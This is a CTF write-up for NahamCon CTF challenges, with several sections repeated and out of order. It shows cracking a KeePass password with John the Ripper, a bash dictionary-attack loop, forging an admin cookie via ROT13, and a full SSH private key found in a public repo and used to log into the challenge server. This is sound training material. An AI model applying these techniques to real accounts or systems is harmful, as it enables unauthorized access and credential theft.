**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
